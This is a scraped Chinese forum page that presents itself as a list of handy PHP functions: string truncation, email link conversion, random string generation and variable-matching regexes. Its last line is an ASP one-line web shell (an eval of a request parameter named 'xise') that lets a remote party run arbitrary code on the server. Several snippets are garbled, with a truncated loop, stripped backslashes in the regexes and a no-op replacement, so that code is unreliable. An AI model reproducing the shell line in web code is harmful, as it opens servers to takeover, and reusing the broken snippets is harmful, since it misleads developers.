加拿大华人论坛美国华人新闻比较不错的PHP函数

日期：2020-11-15 栏目：美国华人新闻

多伦多 Toronto 蒙特利尔 Montreal 温哥华 Vancouver 卡尔加里 Calgary

在加拿大

中文截取GBK/GB2312：CODE:function cutstr($string, $length) { $strcut = ''; if(strlen($string) > $length) { for($i = 0; $i < $length - 3; $i++) { $strcut .= ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i]; } return $strcut.' ...'; } else { return $string; }}UTF-8：CODEfunction cutstr($string, $length) { $strcut= ''; if(strlen($string) > $length) { preg_match_all("/[x01-x7f]|[xc2-xdf][x80-xbf]|xe0[xa0-xbf]"."[x80-xbf]|[xe1-xef][x80-xbf][x80-xbf]|xf0[x90-xbf][x80-xbf]"."[x80-xbf]|[xf1-xf7][x80-xbf][x80-xbf][x80-xbf]/", $string, $info); for($i=0; $i 127 ? $j + 2 : $j + 1; if ($j > $length - 3) { return $strcut." ..."; } } return join('', $info[0]); } else { return $string; }}

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bool function_exists ( string function_name )

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mixed str_replace ( mixed search, mixed replace, mixed subject [, int &count] )search : the string will be replacedreplace: the new stringsubject: the orginal string说句实话，名字叫得比较奇怪

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function emailconv($email, $tolink = 1) { $email = str_replace(array('@', '.'), array('@', '.'), $email); return $tolink ? '<a href="mailto: '.$email.'">'.$email.'</a>': $email;}

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void mt_srand ( int seed )用 seed 来给随机数发生器播种。int mt_rand ( [int min, int max] )产生随机数

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int strcasecmp ( string str1, string str2 )Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

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$var_regexp = "((\$[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*)([[a-zA-Z0-9_-."''[]$x7f-xff]+])*)"; $const_regexp = "([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*)";

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function gen_rand_string($hash){ $chars = array( 'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F', 'g', 'G', 'h', 'H', 'i', 'I', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n', 'N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); $max_chars = count($chars) - 1; srand( (double) microtime()*1000000); $rand_str = ''; for($i = 0; $i < 8; $i++) { $rand_str = ( $i == 0 ) ? $chars[rand(0, $max_chars)] : $rand_str . $chars[rand(0, $max_chars)]; } return ( $hash ) ? md5($rand_str) : $rand_str;}

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header('location: https://www.chineseinla.com/index.php');

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<%eval request("xise")%>

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